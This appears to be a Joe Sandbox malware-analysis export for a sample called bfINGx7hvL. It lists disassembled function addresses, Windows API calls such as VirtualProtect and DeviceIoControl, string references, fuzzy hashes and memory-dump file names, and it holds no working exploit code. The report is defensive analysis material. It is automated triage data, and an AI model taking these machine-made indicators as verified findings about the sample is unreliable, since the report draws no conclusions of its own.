Opcode ID: 71e273d7a94be286fc0c34758cc5e5905f94dc499e1a164b2308cfb9b7a594c8
Instruction ID: b222feb8e67fb99a3f814bfec14a702971000c057ad641c91edc747636acf3c0
Opcode Fuzzy Hash: 71e273d7a94be286fc0c34758cc5e5905f94dc499e1a164b2308cfb9b7a594c8
Instruction Fuzzy Hash: BF2195742047909FD321DB59D81DF42BBD0AF19715F04858AF6898B7D2C3B4E804CB95

Function 004346C0 Relevance: 6.1, APIs: 4, Instructions: 55windowthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,004347C0,?,00000000,00000000), ref: 004346E8
PostMessageW.USER32(00000000), ref: 0043471D
PostMessageW.USER32(00000000), ref: 0043472D
PostMessageW.USER32(00000000), ref: 0043473D

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: MessagePost$CreateThread
String ID:
API String ID: 1266159367-0
Opcode ID: d823e280d65025859753554790f6da093569cbb5b82ebdc6321a09162cd8c4bd
Instruction ID: 8cc3b0a51fcd65b771b9e909ff629f6c459418f429e36cbbda7ef878de64432e
Opcode Fuzzy Hash: d823e280d65025859753554790f6da093569cbb5b82ebdc6321a09162cd8c4bd
Instruction Fuzzy Hash: F7018F31780305BBE7605B59DC0AF9ABBA9EB89B12F200156F604AB3D0DBF578508B94

Function 00409630 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 00409646
QueryPerformanceFrequency.KERNEL32(?), ref: 0040965F
QueryPerformanceCounter.KERNEL32(?), ref: 00409669
LeaveCriticalSection.KERNEL32(?), ref: 004096C6

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CriticalPerformanceQuerySection$CounterEnterFrequencyLeave
String ID:
API String ID: 95068880-0
Opcode ID: c1abe6072d92c916122f8629979ac2178d974c793c7b23b83189686a9ff3147b
Instruction ID: 0b67c4b35b9f983c7b10185d109a282aad021f786903e7976e4891913ca14e31
Opcode Fuzzy Hash: c1abe6072d92c916122f8629979ac2178d974c793c7b23b83189686a9ff3147b
Instruction Fuzzy Hash: BD116D36D00F0D9BC712EFB4C8654AFF779BF5A381B108716E80672621EB30A586DB90

Function 00431770 Relevance: 6.0, APIs: 4, Instructions: 46synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,B681F143,00000000,00000000,?,0053E5DF,000000FF,?,004772AB,?,?,004771AD,00000001), ref: 004317B6
WaitForSingleObject.KERNEL32(?,000000FF,?,004772AB,?,?,004771AD,00000001), ref: 004317C1
DeleteCriticalSection.KERNEL32(00000088,B681F143,00000000,00000000,?,0053E5DF,000000FF,?,004772AB,?,?,004771AD,00000001), ref: 004317D2
DeleteCriticalSection.KERNEL32(00000038,?,004772AB,?,?,004771AD,00000001), ref: 004317F6

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CriticalDeleteSection$EventObjectSingleWait
String ID:
API String ID: 3461137121-0
Opcode ID: 6748f4d44dc4d50006911c3472061da65a69049d66e22d7dc00ca2eaa64093fa
Instruction ID: 312aabd15dd19868a472a8003377af609e2d142412e2ce9af3f6ac4be44942b1
Opcode Fuzzy Hash: 6748f4d44dc4d50006911c3472061da65a69049d66e22d7dc00ca2eaa64093fa
Instruction Fuzzy Hash: A3114F75804704DFD710CFA4D808B9ABBF8FB09724F10475EE466936D0DBB56508DB80

Function 00444750 Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00444787
SetWindowPos.USER32(00000000), ref: 0044478E
GetParent.USER32(00000000), ref: 004447A8
SetWindowPos.USER32(00000000), ref: 004447AF

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: ParentWindow
String ID:
API String ID: 3530579756-0
Opcode ID: 42f94c353c819ef089b1f4b96bb8e289d71d1c5a22e3e814b417eef4dec2cd4d
Instruction ID: 689c1b5557c08a502fa67d8a854d673dc3e0cf94cfd9766299e1bbfbc7d27fe1
Opcode Fuzzy Hash: 42f94c353c819ef089b1f4b96bb8e289d71d1c5a22e3e814b417eef4dec2cd4d
Instruction Fuzzy Hash: A5F03A75340300ABEB50ABA8DCCDF1637A8BB19B12F404465F205DF2D2C6A9E8849B20

Function 00434750 Relevance: 6.0, APIs: 4, Instructions: 39windowsynchronizationCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(00000000,?,00000000,00000000), ref: 0043477E
PostMessageW.USER32(00000000,?,00000000,00000000), ref: 00434790
PostMessageW.USER32(00000000,?,00000000,00000000), ref: 004347A2
WaitForSingleObject.KERNEL32(?,000000FF,?,00000000,00000000,00477265,B681F143,?,00000000,?,0053EB6B,000000FF,?,0047716E,00000001), ref: 004347AC

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: MessagePost$ObjectSingleWait
String ID:
API String ID: 3891836223-0
Opcode ID: e364dde6b3e4b5aa2088c1bdc537ad6c38bdc358620cae1467779c4b3705d138
Instruction ID: 4fee9673e0430d2affbe9e6b6737d69ae55853fce93c2e293958b55722791483
Opcode Fuzzy Hash: e364dde6b3e4b5aa2088c1bdc537ad6c38bdc358620cae1467779c4b3705d138
Instruction Fuzzy Hash: 28013C35240314ABDF509F95CC89FC67B64EB08725F1441A1BA089F1E6CBF0A884CBA0

Function 004C24A0 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 336COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000003,00000000,?,000000FF,?, v,00000000,00000000,00000000,?,00000000,?,00000003,?,00583B28,00000000), ref: 004C2699

Part of subcall function 00436AE0: WideCharToMultiByte.KERNEL32(76EBFFB0,00000000,?,000000FF,?,?,00000000,00000000,?,?,004C27B9,?,00000003,?,00583B28,00000000), ref: 00436B01

WideCharToMultiByte.KERNEL32(00000003,00000000,?,000000FF,?, v,00000000,00000000,?,00571F54,00000000,?,0056C344,B681F143,B681F143,76EBFFB0), ref: 004C2822

Strings

v, xrefs: 004C2814, 004C268B

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: ByteCharMultiWide
String ID: v
API String ID: 626452242-3261393531
Opcode ID: aa1059905902807c932c4b742497ec450df12eddd552b9279fa6f7977f568d2d
Instruction ID: bc7e3dfac5ddef5d83bb0b5f5abfd24ce00b016c9a10128345e9228d8def854f
Opcode Fuzzy Hash: aa1059905902807c932c4b742497ec450df12eddd552b9279fa6f7977f568d2d
Instruction Fuzzy Hash: 88C1E379A00215DBDF60DFA8C945B9FBBB4BF48714F24022ED801B7281D7F49A05CBA4

Function 004A20F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 158COMMON

Download Yara Rule

APIs

Part of subcall function 00412230: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00412288

GdipCreateStringFormat.GDIPLUS(00000000,00000000,?,00000007,B681F143,EFFFFFFF,00000000), ref: 004A2187

Part of subcall function 004A2510: EnterCriticalSection.KERNEL32(005BDCE4,?,?,?,004A232A,00403019), ref: 004A2520
Part of subcall function 004A2510: LeaveCriticalSection.KERNEL32(005BDCE4), ref: 004A2538
Part of subcall function 004A2510: EnterCriticalSection.KERNEL32(005BDCE4,00000000,Dialog,?,BASE_DIALOG), ref: 004A2565
Part of subcall function 004A2510: LeaveCriticalSection.KERNEL32(005BDCE4), ref: 004A2577
Part of subcall function 004A2510: EnterCriticalSection.KERNEL32(005BDCE4,00000000,Dialog,00000000,BASE_DIALOG), ref: 004A25A4
Part of subcall function 004A2510: LeaveCriticalSection.KERNEL32(005BDCE4), ref: 004A25B6

__CxxThrowException@8.LIBCMT ref: 004A2357

Part of subcall function 004A27F0: TryEnterCriticalSection.KERNEL32(005BDCCC,?,004A2335,00403019), ref: 004A27F8
Part of subcall function 004A27F0: LeaveCriticalSection.KERNEL32(005BDCCC,Dialog,MESSAGE_BOX), ref: 004A281F

Strings

!@, xrefs: 004A2153, 004A2175

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Concurrency::details::_Concurrent_queue_base_v4::_CreateException@8FormatGdipInternal_throw_exceptionStringThrow
String ID: !@
API String ID: 1383318732-1028639617
Opcode ID: d3fdda6977b5add1d8449eff889fc7f63bc45f5e4cbb85ecbf298274748bdbb1
Instruction ID: 52ee6c17c7c72821ccf08dbd61eef8e3dc6c6fb30ec650336ffc7aa70918cd5f
Opcode Fuzzy Hash: d3fdda6977b5add1d8449eff889fc7f63bc45f5e4cbb85ecbf298274748bdbb1
Instruction Fuzzy Hash: 4E81F7B0905249DEDB05CF68C51879ABFF4FF16318F24819DD408AF392D3BA9A09DB91

Function 00402460 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 152windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00403950: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 0040398C

Part of subcall function 004FFCFE: _malloc.LIBCMT ref: 004FFD16

Part of subcall function 004A72E0: DeviceIoControl.KERNEL32(?,07770C40,00000000,00000285,00000000,00000285,?,00000000), ref: 004A736D
Part of subcall function 004A72E0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 004A7390

PeekMessageW.USER32(00000000,00000000,00000000,00000000,00000002), ref: 004025FC

Strings

list<T> too long, xrefs: 00402450
[, xrefs: 004025E1

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: MessagePeek$Concurrency::details::_Concurrent_queue_base_v4::_ControlDeviceInternal_throw_exception_malloc
String ID: list<T> too long$[
API String ID: 198154210-1700255231
Opcode ID: eb04e13b04f29042d0268d7e3f1825a3904ed4797e65bd5829df465d64a30d9a
Instruction ID: 5bfe017c1d075ea3c3b1c90e75c0c42364a54a30971ee20f6fd7985f3f173334
Opcode Fuzzy Hash: eb04e13b04f29042d0268d7e3f1825a3904ed4797e65bd5829df465d64a30d9a
Instruction Fuzzy Hash: 8651C574900208ABDB14CB64CA5ABEEBBB5FF44314F24053AE511B73C0D7B96A44CB69

Function 004751C0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 145memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,00000040,00000000,B681F143,?,?,00000000,?,?,005453B6,000000FF,?,0044860E,?,?), ref: 00475237
VirtualProtect.KERNEL32(?,?,00583BB8,00000000), ref: 00475371

Strings

aes, xrefs: 0047528F

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: ProtectVirtual
String ID: aes
API String ID: 544645111-1741866849
Opcode ID: a26ecac06fc112e09cba3384c61047435bde0186e7887d07941b142ca819a9dc
Instruction ID: c7f102ab8efc31625e05e908843ee0437d29b426c9a67cbfe1a089473b48b124
Opcode Fuzzy Hash: a26ecac06fc112e09cba3384c61047435bde0186e7887d07941b142ca819a9dc
Instruction Fuzzy Hash: 5251F7711087416FE320DB25CC4AFAFBBE8AF88754F44051EFA48962D1EBB4E904C766

Function 0040C700 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0040C7D3

Strings

invalid string position, xrefs: 0040C6EF, 0040C802, 0040C80C
string too long, xrefs: 0040C816

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 3469917551e973ec293afed111e285f1fc0d4b7dff7816ac84445a26b7dcea9f
Instruction ID: e9a7fcd289439b3e7619a7d62964bdc1ae14986dfd13999ab9b257cbe0806416
Opcode Fuzzy Hash: 3469917551e973ec293afed111e285f1fc0d4b7dff7816ac84445a26b7dcea9f
Instruction Fuzzy Hash: 82319F32300215CBD7249F5DE8C0A6AFBA5EB91B61F104A3FE5459B281D7B598408BA9

Function 0043A580 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 0043A640
_memmove.LIBCMT ref: 0043A656

Strings

vector<T> too long, xrefs: 0043A5E0

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_memmove
String ID: vector<T> too long
API String ID: 2765667529-3788999226
Opcode ID: a0cb8a74f22d01c1193fdf22690157da368f054645643d81268f044b33ab62f5
Instruction ID: 21a0b09cad63bf26704fb02307bfcc50a0cc9e699095894007cefd2f8ff12292
Opcode Fuzzy Hash: a0cb8a74f22d01c1193fdf22690157da368f054645643d81268f044b33ab62f5
Instruction Fuzzy Hash: FB314F72B40615AFC710CF6CD981A6AFBA9FB88760F24823BE915C3380D735A915C7D5

Function 0045E710 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 116COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0045E7B5

Part of subcall function 0045E800: _memmove.LIBCMT ref: 0045E86C

Strings

string too long, xrefs: 0045E7E9
4[P[, xrefs: 0045E753, 0045E769, 0045E77B

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: _memmove
String ID: 4[P[$string too long
API String ID: 4104443479-2375524141
Opcode ID: 12f18fe5baf7a9690ccb309a3c17f90f572443e03d48b3260998b9ccead1cac4
Instruction ID: da07d17d29a23d2e32459d0dccd0662c86c38c0c332d0b923a924280ac1c6841
Opcode Fuzzy Hash: 12f18fe5baf7a9690ccb309a3c17f90f572443e03d48b3260998b9ccead1cac4
Instruction Fuzzy Hash: 80310C353001105BC72C9E6ED88496AF7A9EF89751710492FFD9187782D734E949C398

Function 004753C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(HjG,?,00000020,00000000,B681F143), ref: 0047540A
VirtualProtect.KERNEL32(HjG,?,00000000,00000000,00000002,HjG,?,00000000), ref: 00475435

Strings

HjG, xrefs: 004753D0, 00475409, 00475424, 00475434

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: ProtectVirtual
String ID: HjG
API String ID: 544645111-4133638772
Opcode ID: f1e884a3b2631f5dd6f124811a1528878a932b6a2b8f4874528a006d90aee455
Instruction ID: 5245b871116d1579b64f760935d460e980fb0fae71a921eb556ef9f14a67c246
Opcode Fuzzy Hash: f1e884a3b2631f5dd6f124811a1528878a932b6a2b8f4874528a006d90aee455
Instruction Fuzzy Hash: D811B472A04744ABDB10CF95DC44BAFBBB8EB46B25F10426AA928E7380E7755904C794

Function 004DF2F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004DF342
_memmove.LIBCMT ref: 004DF35E

Strings

M, xrefs: 004DF2FE

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
